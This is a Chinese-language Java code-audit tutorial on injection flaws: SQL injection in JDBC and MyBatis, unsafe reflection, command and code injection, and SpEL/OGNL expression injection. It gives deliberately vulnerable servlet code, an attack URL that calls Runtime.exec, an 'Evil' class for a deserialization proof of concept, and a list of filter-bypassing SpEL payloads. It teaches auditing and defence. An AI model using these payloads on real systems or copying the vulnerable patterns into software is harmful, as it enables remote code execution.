文章目錄
- 注入
- SQL注入
- JDBC拼接不當造成SQL注入
- 框架使用不當造成SQL注入
- 不安全的反射
- 命令注入
- 代碼注入
- 運算式注入
- Spel運算式注入
- OGNL運算式注入
- 模板注入
注入
SQL注入
JDBC拼接不當造成SQL注入
JDBC有兩種方法執行SQL陳述句,分別為PrepareStatement和Statement,兩個方法的區別在于PrepareStatement會對SQL陳述句進行預編譯,而Statement方法在每次執行時都需要編譯,會增大系統開銷,理論上PrepareStatement的效率和安全性會比Statement要好,但并不意味著使用PrepareStatement就絕對安全,不會產生SQL注入
PrepareStatement方法支持使用‘?’對變數位進行占位,在預編譯階段填入相應的值構造出完整的SQL陳述句,此時可以避免SQL注入的產生,但開發者有時為了便利,會直接采取拼接的方式構造SQL陳述句,此時進行預編譯則無法阻止SQL注入的產生,如以下代碼所示,PrepareStatement雖然進行了預編譯,但在以拼接方式構造SQL陳述句的情況下仍然會產生SQL注入,代碼示例如下(若使用“or 1=1”,仍可判斷出這段程式存在SQL注入)
String sql = "select * from user where id =" + req.getParameter("id");
out.println(sql);
try{
PreparedStatement pstt = con.prepareStatement(sql);
ResultSet re = pstt.executeQuery();
while(rs.next()){
out.println("<br>id:"+rs.getObject("id"));
out.println("<br>name:"+re.getObject("name"));
}
catch(SQLException throwables){
throwables.printStackTrace();
}
}
正確地使用PrepareStatement可以有效避免SQL注入的產生,使用“?”作為占位符時,填入對應欄位的值會進行嚴格的型別檢查,將前面的“拼接構造SQL陳述句”改為如下“使用占位符構造SQL陳述句”的代碼片段,即可有效避免SQL注入的產生
PrintWriter out = resp.getWriter();
String sql = "select * from user where id = ?"
out.println(sql);
try{
PreparedStatement pstt = con.prepareStatement(sql);
pstt.setInt(1,Integer.parseInt(req.getParameter("id")));
ResultSet rs = pstt.executeQuery();
....
}
框架使用不當造成SQL注入
如今的Java專案或多或少會使用對JDBC進行更抽象封裝的持久化框架,如MyBatis和Hibernate,通常,框架底層已經實作了對SQL注入的防御,但在研發人員未能恰當使用框架的情況下,仍然可能存在SQL注入的風險
Mybatis框架
MyBatis框架的思想是將SQL陳述句編入組態檔中,避免SQL陳述句在Java程式中大量出現,方便后續對SQL陳述句的修改與配置
MyBatis中使用parameterType向SQL陳述句傳參,在SQL參考傳參可以使用#{Parameter}和${Parameter}兩種方式
使用#{Parameter}構造SQL的代碼如下所示
<select id="getUsername" resultType="com.ocean">
select id,name,age from user where name #{name}
<select>

從Debug回顯的SQL陳述句執行程序可以看出,使用#{Parameter}方式會使用“?”占位進行預編譯,因此不存在SQL注入的問題,用戶可以嘗試構造“name”值為“z1ng or 1=1”進行驗證,回顯如下,由于程式未查詢到結果出現了空指標例外,因此此時不存在SQL注入
使用${Parameter}構造SQL的代碼如下所示
<select id = "getUsername" resultType = "com.ocean">
select id,name,age from user where name = ${name}
<select>

“name”值被拼接進SQL陳述句之中,因此此時存在SQL注入
${Parameter}采用拼接的方式構造SQL,在對用戶輸入過濾不嚴格的前提下,此處很可能存在SQL注入
Hibernate
Hibernate是一種ORM框架,全稱為 Object_Relative DateBase-Mapping,Hibernate框架是Java持久化API(JPA)規范的一種實作方式,Hibernate 將Java 類映射到資料庫表中,從 Java 資料型別映射到 SQL 資料型別,Hibernate是目前主流的Java資料庫持久化框架,采用Hibernate查詢語言(HQL)注入
HQL的語法與SQL類似,受語法的影響,HQL注入在實際漏洞利用上具有一定的限制
不安全的反射
利用 Java 的反射機制,可以無視類方法、變數訪問權限修飾符,呼叫任何類的任意方法、訪問并修改成員變數值
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class.invoke(clazz.newInstance(),"id"));
但是Runtime為單例模式,在其生命周期內只能有一個物件,因此以上代碼是無法生效的,正確如下
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");
這段payload可以拆分為以下代碼
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec",String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime,"calc.exe");
Java中的Rce, 常見的可執行函式如:Runtime.getRuntime().exec(),在審計的時候也要看Process、ProcessBuilder.start()
可能出現的環境
- 服務器直接存在可執行函式(exec()等),且傳入的引數過濾不嚴格導致 RCE 漏洞
- 由運算式注入導致的 RCE 漏洞,常見的有:SpEL、OGNL(Struts2中常出現)、MVEL、EL、Fel、JST+EL等
- 由Java后端模板引擎注入導致的RCE漏洞,常見的如:Freemarker、Velocity、Thymeleaf(常用在Spring框架)等
- 由Java一些腳本語言引起的RCE漏洞,常見的如:Groovy、JavaScriptEngine等
- 由第三方開源組件引起的RCE漏洞,常見的如:Fastjson、Shiro、Xstream、Struts2、Weblogic等
由不安全的輸入造成的反射命令執行Demo
代碼對于傳入的類、傳入的類方法、傳入類的引數沒有做任何限制
@WebServlet("/Rce")
public class Rce extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
PrintWriter printWriter = resp.getWriter();
// 接收引數
String name = req.getParameter("command");
String method = req.getParameter("method");
String str = req.getParameter("str");
try {
// 獲取類的無引數構造方法
Class getCommandClass = Class.forName(name);
Constructor constructor = getCommandClass.getDeclaredConstructor();
constructor.setAccessible(true);
// 實體化類
Object getInstance = constructor.newInstance();
// 獲取類方法
Method getCommandMethod = getCommandClass.getDeclaredMethod(method, String.class);
// 呼叫類方法
Object mes = getCommandMethod.invoke(getInstance, str);
printWriter.append("即將執行命令");
printWriter.append((Character) mes);
printWriter.flush();
} catch (ClassNotFoundException | NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
e.printStackTrace();
}
}
}
可以看到代碼中存在反射呼叫,當呼叫不安全類時,會造成命令執行
http://localhost:8080/JavaRCE_war_exploded/Rce?command=java.lang.Runtime&method=exec&str=calc

命令注入
Java的Runtime類可以提供呼叫系統命令的功能
protected void doGet(HttpServletRequest req,HttpServletResponse resp) throws ServletException,IOException{
String cmd = req.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int i = -1;
while((i=in.read(b))!=-1){
byteArrayOutputStream.write(b,0,i);
}
PrintWriter out = resp.getWriter();
out.print(new String(byteArrayOutputStream.toByteArray()));
}
系統命令連接符有 |、||、&、&&
- |:前邊命令輸出結果作為后邊的輸入
- ||:前邊的命令執行失敗才執行后邊的命令
- &:前邊的命令執行后執行后邊的命令
- &&:前邊的命令執行成功執行后邊的命令
注意:Java環境下的命令執行,& 作為字符拼接,不能命令執行
例:Process process = Runtime.getRuntime().exec("ping" + url)
Runtime 類中的 exec 方法,要執行的命令可以通過字串和陣列的方式傳入,當傳入的引數型別為字串時,會先經過StringTokenizer的處理,主要是針對空格以及換行符等空白字符進行處理,后續會分割出一個cmdarray陣列保存分割后的命令引數,其中cmdarray的第一個元素為所要執行的命令
代碼注入
產生代碼注入漏洞的前提條件是將用戶輸入的資料作為Java代碼進行執行
由此所見,程式要有相應的功能能夠將用戶輸入的資料當作代碼執行,而Java反射就可以實作這樣的功能:根據傳入不同的類名、方法名和引數執行不同的功能
String ClassName = req.getParameter("ClassName");
String MethodName = req.getParameter("Method");
String[] Args = new String[]{req.getParameter("Args").toString()};
try{
Class clazz = Class.forName(ClassName);
Constructor constructor = clazz.getConstructor(String[].class);
Object obj = constructor.newInstance(new Object[]{Args});
Method method = clazz.getMethod(MethodName);
method.invoke(obj);
}
......
代碼注入更具有靈活性,例如在Apache Commons collections反序列化漏洞中直接使用Runtime.getRuntime().exec()執行系統命令是無回顯的,有安全研究員研究出可回顯的利用方式,其中一種思路是通過URLloader遠程加載類檔案以及例外處理機制構造出可以回顯的利用方式
具體步驟如下:
首先構造出一個惡意類代碼,并編譯成Jar包放置在遠程服務器上,然后利用ApacheCommons collections反序列化漏洞可以注入任意代碼的特點,構造poc
import Java.io.BufferedReader;
import Java.io.InputStreamReader;
public class Evil{
public static void Exec(String args) throws Exception{
Process proc = Runtime.getRuntime().exec(args);
}
}

在將用戶可控部分資料注入代碼達到動態執行某些功能的目的之前,需進行嚴格的檢測和過濾,避免用戶注入惡意代碼,造成系統的損壞和權限的丟失
運算式注入
運算式語言(Expression Language),又稱EL運算式,是一種在JSP中內置的語言,可以作用于用戶訪問頁面的背景關系以及不同作用域的物件,取得物件屬性值或者執行簡單的運算和判斷操作
EL基礎語法
在JSP中,用戶可以使用 來 表 示 此 處 為 E L 表 達 式 , 例 如 , 表 達 式 ” {}來表示此處為EL運算式,例如,運算式” 來表示此處為EL表達式,例如,表達式”{ name }”表示獲取“name”變數
EL運算式也可以實體化Java的內置類,如Runtime.class會執行系統命令

Spel運算式注入
Spel(Spring 運算式語言全程為Spring Expression Language)是Spring Framework創建的一種運算式語言,它支持在運行時查詢和操縱物件圖表,注意 Spel 是以 API 介面的形式創建的,允許將其集成到其他應用程式和框架中
特性:
- 使用 Bean 的 ID 來參考 Bean
- 可呼叫方法和訪問物件的屬性
- 可對值進行算數、關系和邏輯運算
- 可使用正則運算式進行匹配
- 可進行集合操作
基礎
Spel 定界符
Spel 使用 #{} 作為定界符,所有在打括號里的字符都被看做是 Spel 運算式,在其中可以使用 Spel 運算子、變數、參考 Bean 及其屬性和方法等
#{} 和 ${} 的區別:
-
#{} 就是 Spel 的定界符,用于指明內容為 Spel 運算式并執行
-
${} 主要用于加載外部屬性檔案中的值
兩者可以混合使用,但是必須 #{} 在外面,KaTeX parse error: Expected 'EOF', got '#' at position 10: {} 在里面,如:#?{'()’},注意單引號是字串型別才添加的,如#{’ocean’},#{2222 }
漏洞觸發
ExpressionParser parser = new SpelExpressionParser();//ExpressionParser構造決議器
Expression exp = parser.parseExpression("'ocean'");//Expression負責評估定義的運算式字串
String message = (String) exp.getValue();//getValue方法執行運算式
如果運算式字串是可控的,那么可能就存在命令執行漏洞
在 Spel 中,使用 T() 運算子會呼叫類作用域的方法和常量
Expression exp = parser.parseExpression("T(java.lang.Runtime)");//Expression負責評估定義的運算式字串
括號中需要包括類名的全限定名,也就是包名加上類名,唯一例外的是,Spel 內置了 java.lang 報下的類宣告,也就是 java.lag.String 可以通過 T(String) 訪問,而不需要使用全限定名
Expression exp = parser.parseExpression("T(java.lang.Runtime).getRuntime().exec('calc')");
payload構造
Fuzz
Expression exp = parser.parseExpression("''.class");
Expression exp = parser.parseExpression("\"\".class");
bypass payload
-
反射呼叫
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc") -
反射呼叫+字串拼接,針對java.long、Runtime、exec被過濾的情況
T(String).getClass().forName("java.l"+"ang.Run"+"time").getMethod("ex"+"ec".T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")).new String[]{"cmd","/C","calc"}) -
當執行的系統命令被過濾或者被URL編碼掉時,可以通過String類動態生成字符
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start() -
當執行的系統命令被過濾或者被URL編碼時,可以通過String類動態生成字符
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99))) 等于T(java.lang.Runtime).getRuntime.exec('calc') -
JavaScript引擎通用poc
T(javax.script.ScriptEngineManager).newInstance().getEngineByName('nashorn').eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time().ex"+"ec(s);") -
當T(getClass())被過濾時
''.class.forName('java.lang.Runtime') new String('s').class.forName('java.lang.Runtime')
實體UNctf-goodjava
https://evoa.me/archives/14/#GoodJava
OGNL運算式注入
OGNL 全稱Object-Graph Navigation Language即物件導航圖語言,一種功能強大的運算式語言
功能:
- 存取物件的任意屬性
- 呼叫物件的方法
- 遍歷整個物件的結構圖
- 實作欄位型別轉化
webwork2 和 Struts2.x 中使用 OGNL 代替原來的 EL 來做界面資料系結(就是把textfield.hidden和物件層某個類的某個屬性系結在一起,修改和現實自動同步)Struts2框架因為濫用OGNL運算式,所以漏洞較多
模板注入
FreeMarker模板注入
文章大部分轉載于Java代碼審計入門篇一書
https://weread.qq.com/web/reader/c8732a70726fa058c87154b
更多文章:https://mp.weixin.qq.com/s/lwpeuei58smGbAlezo1IwQ
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/353286.html
標籤:其他
上一篇:SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入
下一篇:同一頭檔案中的未知型別名稱
